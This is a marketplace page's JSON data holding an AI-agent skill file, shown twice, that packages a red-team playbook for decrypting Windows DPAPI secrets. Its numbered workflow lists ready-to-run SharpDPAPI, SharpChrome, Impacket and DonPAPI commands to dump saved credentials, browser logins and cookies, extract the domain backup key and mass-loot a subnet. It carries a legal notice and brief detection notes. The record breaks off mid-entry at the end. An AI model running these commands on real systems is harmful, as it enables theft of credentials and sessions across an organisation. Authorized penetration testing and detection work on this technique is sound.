[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7A3C4BDFN699CJ673H99EV8":3,"skill-same:01M7A3C4BDFN699CJ673H99EV8":83},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":42,"commitSha":43,"skillDirectory":44,"forksCount":14,"repositoryHtmlUrl":45,"repositoryHomepageUrl":6,"ownerHtmlUrl":46,"ownerBlogUrl":6,"ownerDescription":47,"updatedAt":48,"install":49,"resources":62},"01M7A3C4BDFN699CJ673H99EV8","abusing-dpapi-for-credential-access",null,"Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins\u002Fcookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: abusing-dpapi-for-credential-access\ndescription: Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins\u002Fcookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- credential-access\n- dpapi\n- sharpdpapi\n- post-exploitation\n- active-directory\n- windows\n- mimikatz\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\nmitre_attack:\n- T1555.004\n---\n# Abusing DPAPI for Credential Access\n\n> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.\n\n## Overview\n\nThe Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome\u002FEdge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) **master key** from the user's password (or the machine account secret), and that master key encrypts individual \"DPAPI blobs.\" The encrypted master keys live under `%APPDATA%\\Microsoft\\Protect\\\u003CSID>\\` (user) and `%WINDIR%\\System32\\Microsoft\\Protect\\` (machine).\n\nRed teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK **T1555.004 (Credentials from Password Stores: Windows Credential Manager)**. There are three primary decryption paths:\n\n1. **Online \u002F context-based** — running as the target user, DPAPI APIs (`CryptUnprotectData`) transparently decrypt the user's blobs. SharpDPAPI's `\u002Funprotect` flag uses this.\n2. **Offline with the user password or NTLM hash** — decrypt the user's master keys with `\u002Fpassword:` or `\u002Fntlm:`, then decrypt the blobs offline (great for triaged files pulled from a host).\n3. **Domain-wide with the DPAPI backup key** — Domain Admins can extract the domain's RSA DPAPI backup key (`.pvk`) once, then decrypt *any* domain user's master keys forever, online or offline, with `\u002Fpvk:`.\n\nThe canonical tooling is **SharpDPAPI** (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, **SharpChrome** for browser secrets, and **Mimikatz** (`dpapi::*`) as the original implementation. On Linux, Impacket's `dpapi.py` and `donpapi` perform remote\u002Foffline triage.\n\n## When to Use\n\n- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.\n- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.\n- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.\n- When triaging exfiltrated `Credentials`, `Vault`, or `Protect` directories from disk images.\n- During purple-team exercises to validate detection of DPAPI master-key access and LSASS\u002FProtect-folder reads.\n\n## Prerequisites\n\n- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.\n- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.\n- Tooling (compile from source or use release binaries; obtain only from official upstreams):\n\n```bash\n# SharpDPAPI \u002F SharpChrome (GhostPack) — build with Visual Studio \u002F msbuild\ngit clone https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI.git\n# Open SharpDPAPI.sln and build Release, or:\nmsbuild SharpDPAPI.sln \u002Fp:Configuration=Release\n\n# Mimikatz (original DPAPI implementation)\n# https:\u002F\u002Fgithub.com\u002Fgentilkiwi\u002Fmimikatz\u002Freleases\n\n# Linux remote\u002Foffline triage (Impacket)\npipx install impacket            # provides dpapi.py \u002F impacket-dpapi\npipx install donpapi             # https:\u002F\u002Fgithub.com\u002Flogin-securite\u002FDonPAPI\n```\n\n## Objectives\n\n- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.\n- Decrypt user master keys online (`\u002Funprotect`), with a password\u002Fhash, or with the domain backup key.\n- Recover plaintext Credential Manager and Vault secrets.\n- Extract browser saved logins and cookies with SharpChrome.\n- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic | Relevance |\n|--------------|------|--------|-----------|\n| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager \u002F Vault entries; decrypting master keys and blobs recovers these stored credentials. |\n| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome\u002FEdge logins, cookies, and state keys. |\n| T1003 | OS Credential Dumping | Credential Access | Extracting master keys \u002F backup keys is a form of credential material dumping. |\n\n## Workflow\n\n### 1. Triage the host for DPAPI blobs\n\nRun the SharpDPAPI `triage` command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG\u002FRDP, and certificates:\n\n```powershell\n# Online triage in the current user's context (uses CryptUnprotectData)\nSharpDPAPI.exe triage \u002Funprotect\n\n# Machine triage (requires local admin \u002F SYSTEM) for machine-scoped blobs\nSharpDPAPI.exe machinetriage\n```\n\n### 2. Decrypt user master keys offline (password or NTLM hash)\n\nIf you hold the user's password or hash, decrypt their master keys to a `{GUID}:SHA1` mapping you can reuse against individual blobs:\n\n```powershell\n# Decrypt all of the current\u002Fspecified user's master keys with the password\nSharpDPAPI.exe masterkeys \u002Fpassword:CorrectHorseBatteryStaple\n\n# Decrypt master keys with the user's NTLM hash instead of the password\nSharpDPAPI.exe masterkeys \u002Fntlm:cc36cf7a8514893efccd332446158b1a\n\n# Output is GUID:SHA1 lines — feed them to credentials\u002Fvaults commands\n```\n\n### 3. Recover Credential Manager and Vault secrets\n\nUse the decrypted master-key mapping (or `\u002Fpvk:`) to decrypt the stored credentials and vault entries:\n\n```powershell\n# Decrypt Credential Manager blobs with a GUID:SHA1 mapping\nSharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1\n\n# Or point at a target Credentials folder and decrypt with the domain backup key\nSharpDPAPI.exe credentials \u002Ftarget:C:\\Users\\bob\\AppData\\Local\\Microsoft\\Credentials\\ \u002Fpvk:backupkey.pvk\n\n# Decrypt Credential Vault entries\nSharpDPAPI.exe vaults \u002Fpvk:backupkey.pvk\n```\n\n### 4. Decrypt RDP, KeePass, and certificate secrets\n\n```powershell\n# Saved RDCMan.settings RDP passwords (current user context)\nSharpDPAPI.exe rdg \u002Funprotect\n\n# KeePass DPAPI-protected master keys\nSharpDPAPI.exe keepass \u002Funprotect\n\n# Certificate private keys (export usable .pem with \u002Fshowall for all stores)\nSharpDPAPI.exe certificates \u002Funprotect \u002Fshowall\n```\n\n### 5. Extract browser credentials with SharpChrome\n\nSharpChrome decrypts Chrome\u002FEdge logins and cookies. Modern Chromium uses an App-Bound \"state key\" that SharpChrome resolves via DPAPI:\n\n```powershell\n# Decrypt saved logins for the current user\nSharpChrome.exe logins \u002Funprotect\n\n# Decrypt cookies (useful for session hijacking) in a target folder\nSharpChrome.exe cookies \u002Ftarget:\"C:\\Users\\bob\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\" \u002Fpvk:backupkey.pvk\n\n# Resolve the AES state key explicitly\nSharpChrome.exe statekeys \u002Funprotect\n```\n\n### 6. Obtain the domain DPAPI backup key (Domain Admin)\n\nWith Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:\n\n```powershell\n# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface\nSharpDPAPI.exe backupkey \u002Fserver:dc01.corp.local \u002Ffile:backupkey.pvk\n```\n\nThen decrypt any user's master keys offline with it:\n\n```powershell\nSharpDPAPI.exe masterkeys \u002Fpvk:backupkey.pvk \u002Ftarget:C:\\Users\\alice\\AppData\\Roaming\\Microsoft\\Protect\\\n```\n\n### 7. Remote \u002F Linux-based triage (Impacket \u002F DonPAPI)\n\nFrom a Linux operator box, harvest and decrypt DPAPI secrets across hosts:\n\n```bash\n# Decrypt a single masterkey file with Impacket using the domain backup key\nimpacket-dpapi masterkey -file \u003Cmasterkey_file> -pvk backupkey.pvk\n\n# Decrypt a credential blob with the recovered masterkey\nimpacket-dpapi credential -file \u003Ccred_blob> -key 0x\u003Cdecrypted_masterkey>\n\n# Mass remote DPAPI looting across hosts with DonPAPI\ndonpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0\u002F24\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Link |\n|------|---------|------|\n| SharpDPAPI | Windows DPAPI triage\u002Fdecryption (C#) | https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI |\n| SharpChrome | Chromium logins\u002Fcookies\u002Fstate-key decryption | https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI |\n| Mimikatz | Original DPAPI (`dpapi::*`) implementation | https:\u002F\u002Fgithub.com\u002Fgentilkiwi\u002Fmimikatz |\n| Impacket dpapi.py | Remote\u002Foffline DPAPI decryption (Python) | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n| DonPAPI | Mass remote DPAPI looting | https:\u002F\u002Fgithub.com\u002Flogin-securite\u002FDonPAPI |\n| HackTricks DPAPI | Technique reference | https:\u002F\u002Fbook.hacktricks.wiki\u002Fen\u002Fwindows-hardening\u002Fwindows-local-privilege-escalation\u002Fdpapi-extracting-passwords.html |\n\n## Detection and OPSEC Notes\n\n- Master-key access and reads of `\\Microsoft\\Protect\\` and `\\Microsoft\\Credentials\\` are detectable; `backupkey` triggers an MS-BKRP RPC call to the DC.\n- The `\u002Funprotect` (online) path is the stealthiest single-host option but only works as the live user.\n- Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect\u002FCredentials folders (DE.CM-01).\n\n## Validation Criteria\n\n- [ ] Host triaged with `SharpDPAPI triage` \u002F `machinetriage`.\n- [ ] User master keys decrypted via `\u002Funprotect`, `\u002Fpassword:`, `\u002Fntlm:`, or `\u002Fpvk:`.\n- [ ] Credential Manager and Vault secrets recovered.\n- [ ] RDP \u002F KeePass \u002F certificate secrets extracted where present.\n- [ ] Browser logins\u002Fcookies decrypted with SharpChrome.\n- [ ] Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.\n- [ ] All recovered secrets documented with source host\u002Fuser and ROE adherence confirmed.\n","# Abusing DPAPI for Credential Access\n\n> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.\n\n## Overview\n\nThe Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome\u002FEdge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) **master key** from the user's password (or the machine account secret), and that master key encrypts individual \"DPAPI blobs.\" The encrypted master keys live under `%APPDATA%\\Microsoft\\Protect\\\u003CSID>\\` (user) and `%WINDIR%\\System32\\Microsoft\\Protect\\` (machine).\n\nRed teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK **T1555.004 (Credentials from Password Stores: Windows Credential Manager)**. There are three primary decryption paths:\n\n1. **Online \u002F context-based** — running as the target user, DPAPI APIs (`CryptUnprotectData`) transparently decrypt the user's blobs. SharpDPAPI's `\u002Funprotect` flag uses this.\n2. **Offline with the user password or NTLM hash** — decrypt the user's master keys with `\u002Fpassword:` or `\u002Fntlm:`, then decrypt the blobs offline (great for triaged files pulled from a host).\n3. **Domain-wide with the DPAPI backup key** — Domain Admins can extract the domain's RSA DPAPI backup key (`.pvk`) once, then decrypt *any* domain user's master keys forever, online or offline, with `\u002Fpvk:`.\n\nThe canonical tooling is **SharpDPAPI** (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, **SharpChrome** for browser secrets, and **Mimikatz** (`dpapi::*`) as the original implementation. On Linux, Impacket's `dpapi.py` and `donpapi` perform remote\u002Foffline triage.\n\n## When to Use\n\n- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.\n- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.\n- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.\n- When triaging exfiltrated `Credentials`, `Vault`, or `Protect` directories from disk images.\n- During purple-team exercises to validate detection of DPAPI master-key access and LSASS\u002FProtect-folder reads.\n\n## Prerequisites\n\n- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.\n- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.\n- Tooling (compile from source or use release binaries; obtain only from official upstreams):\n\n```bash\n# SharpDPAPI \u002F SharpChrome (GhostPack) — build with Visual Studio \u002F msbuild\ngit clone https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI.git\n# Open SharpDPAPI.sln and build Release, or:\nmsbuild SharpDPAPI.sln \u002Fp:Configuration=Release\n\n# Mimikatz (original DPAPI implementation)\n# https:\u002F\u002Fgithub.com\u002Fgentilkiwi\u002Fmimikatz\u002Freleases\n\n# Linux remote\u002Foffline triage (Impacket)\npipx install impacket            # provides dpapi.py \u002F impacket-dpapi\npipx install donpapi             # https:\u002F\u002Fgithub.com\u002Flogin-securite\u002FDonPAPI\n```\n\n## Objectives\n\n- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.\n- Decrypt user master keys online (`\u002Funprotect`), with a password\u002Fhash, or with the domain backup key.\n- Recover plaintext Credential Manager and Vault secrets.\n- Extract browser saved logins and cookies with SharpChrome.\n- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic | Relevance |\n|--------------|------|--------|-----------|\n| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager \u002F Vault entries; decrypting master keys and blobs recovers these stored credentials. |\n| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome\u002FEdge logins, cookies, and state keys. |\n| T1003 | OS Credential Dumping | Credential Access | Extracting master keys \u002F backup keys is a form of credential material dumping. |\n\n## Workflow\n\n### 1. Triage the host for DPAPI blobs\n\nRun the SharpDPAPI `triage` command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG\u002FRDP, and certificates:\n\n```powershell\n# Online triage in the current user's context (uses CryptUnprotectData)\nSharpDPAPI.exe triage \u002Funprotect\n\n# Machine triage (requires local admin \u002F SYSTEM) for machine-scoped blobs\nSharpDPAPI.exe machinetriage\n```\n\n### 2. Decrypt user master keys offline (password or NTLM hash)\n\nIf you hold the user's password or hash, decrypt their master keys to a `{GUID}:SHA1` mapping you can reuse against individual blobs:\n\n```powershell\n# Decrypt all of the current\u002Fspecified user's master keys with the password\nSharpDPAPI.exe masterkeys \u002Fpassword:CorrectHorseBatteryStaple\n\n# Decrypt master keys with the user's NTLM hash instead of the password\nSharpDPAPI.exe masterkeys \u002Fntlm:cc36cf7a8514893efccd332446158b1a\n\n# Output is GUID:SHA1 lines — feed them to credentials\u002Fvaults commands\n```\n\n### 3. Recover Credential Manager and Vault secrets\n\nUse the decrypted master-key mapping (or `\u002Fpvk:`) to decrypt the stored credentials and vault entries:\n\n```powershell\n# Decrypt Credential Manager blobs with a GUID:SHA1 mapping\nSharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1\n\n# Or point at a target Credentials folder and decrypt with the domain backup key\nSharpDPAPI.exe credentials \u002Ftarget:C:\\Users\\bob\\AppData\\Local\\Microsoft\\Credentials\\ \u002Fpvk:backupkey.pvk\n\n# Decrypt Credential Vault entries\nSharpDPAPI.exe vaults \u002Fpvk:backupkey.pvk\n```\n\n### 4. Decrypt RDP, KeePass, and certificate secrets\n\n```powershell\n# Saved RDCMan.settings RDP passwords (current user context)\nSharpDPAPI.exe rdg \u002Funprotect\n\n# KeePass DPAPI-protected master keys\nSharpDPAPI.exe keepass \u002Funprotect\n\n# Certificate private keys (export usable .pem with \u002Fshowall for all stores)\nSharpDPAPI.exe certificates \u002Funprotect \u002Fshowall\n```\n\n### 5. Extract browser credentials with SharpChrome\n\nSharpChrome decrypts Chrome\u002FEdge logins and cookies. Modern Chromium uses an App-Bound \"state key\" that SharpChrome resolves via DPAPI:\n\n```powershell\n# Decrypt saved logins for the current user\nSharpChrome.exe logins \u002Funprotect\n\n# Decrypt cookies (useful for session hijacking) in a target folder\nSharpChrome.exe cookies \u002Ftarget:\"C:\\Users\\bob\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\" \u002Fpvk:backupkey.pvk\n\n# Resolve the AES state key explicitly\nSharpChrome.exe statekeys \u002Funprotect\n```\n\n### 6. Obtain the domain DPAPI backup key (Domain Admin)\n\nWith Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:\n\n```powershell\n# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface\nSharpDPAPI.exe backupkey \u002Fserver:dc01.corp.local \u002Ffile:backupkey.pvk\n```\n\nThen decrypt any user's master keys offline with it:\n\n```powershell\nSharpDPAPI.exe masterkeys \u002Fpvk:backupkey.pvk \u002Ftarget:C:\\Users\\alice\\AppData\\Roaming\\Microsoft\\Protect\\\n```\n\n### 7. Remote \u002F Linux-based triage (Impacket \u002F DonPAPI)\n\nFrom a Linux operator box, harvest and decrypt DPAPI secrets across hosts:\n\n```bash\n# Decrypt a single masterkey file with Impacket using the domain backup key\nimpacket-dpapi masterkey -file \u003Cmasterkey_file> -pvk backupkey.pvk\n\n# Decrypt a credential blob with the recovered masterkey\nimpacket-dpapi credential -file \u003Ccred_blob> -key 0x\u003Cdecrypted_masterkey>\n\n# Mass remote DPAPI looting across hosts with DonPAPI\ndonpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0\u002F24\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Link |\n|------|---------|------|\n| SharpDPAPI | Windows DPAPI triage\u002Fdecryption (C#) | https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI |\n| SharpChrome | Chromium logins\u002Fcookies\u002Fstate-key decryption | https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI |\n| Mimikatz | Original DPAPI (`dpapi::*`) implementation | https:\u002F\u002Fgithub.com\u002Fgentilkiwi\u002Fmimikatz |\n| Impacket dpapi.py | Remote\u002Foffline DPAPI decryption (Python) | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n| DonPAPI | Mass remote DPAPI looting | https:\u002F\u002Fgithub.com\u002Flogin-securite\u002FDonPAPI |\n| HackTricks DPAPI | Technique reference | https:\u002F\u002Fbook.hacktricks.wiki\u002Fen\u002Fwindows-hardening\u002Fwindows-local-privilege-escalation\u002Fdpapi-extracting-passwords.html |\n\n## Detection and OPSEC Notes\n\n- Master-key access and reads of `\\Microsoft\\Protect\\` and `\\Microsoft\\Credentials\\` are detectable; `backupkey` triggers an MS-BKRP RPC call to the DC.\n- The `\u002Funprotect` (online) path is the stealthiest single-host option but only works as the live user.\n- Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect\u002FCredentials folders (DE.CM-01).\n\n## Validation Criteria\n\n- [ ] Host triaged with `SharpDPAPI triage` \u002F `machinetriage`.\n- [ ] User master keys decrypted via `\u002Funprotect`, `\u002Fpassword:`, `\u002Fntlm:`, or `\u002Fpvk:`.\n- [ ] Credential Manager and Vault secrets recovered.\n- [ ] RDP \u002F KeePass \u002F certificate secrets extracted where present.\n- [ ] Browser logins\u002Fcookies decrypted with SharpChrome.\n- [ ] Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.\n- [ ] All recovered secrets documented with source host\u002Fuser and ROE adherence confirmed.\n",{"name":5,"tags":25,"author":34,"domain":35,"license":15,"version":36,"nist_csf":37,"subdomain":39,"description":7,"mitre_attack":40},[26,27,28,29,30,31,32,33],"red-team","credential-access","dpapi","sharpdpapi","post-exploitation","active-directory","windows","mimikatz","mahipal","cybersecurity","1.0",[38],"DE.CM-01","red-teaming",[41],"T1555.004","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fabusing-dpapi-for-credential-access","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":50,"prompt":60,"zipAvailable":61},[51,54,57],{"tool":52,"command":53},"npx","npx skills add NeelakshSaxena\u002FVayu --skill abusing-dpapi-for-credential-access",{"tool":55,"command":56},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill abusing-dpapi-for-credential-access",{"tool":58,"command":59},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill abusing-dpapi-for-credential-access","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002FSKILL.md",true,[63,67,73,77],{"path":64,"resourceType":64,"resourceTypeDesc":65,"sizeBytes":66,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":68,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":72},"references\u002Fapi-reference.md","REFERENCE","参考文档",3360,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002Freferences\u002Fapi-reference.md",{"path":74,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":75,"sourceHtmlUrl":76},"references\u002Fstandards.md",1886,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002Freferences\u002Fstandards.md",{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"scripts\u002Fagent.py","SCRIPT","脚本",6285,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002Fscripts\u002Fagent.py",[84,91,98,105,112,119],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":111,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":118,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, 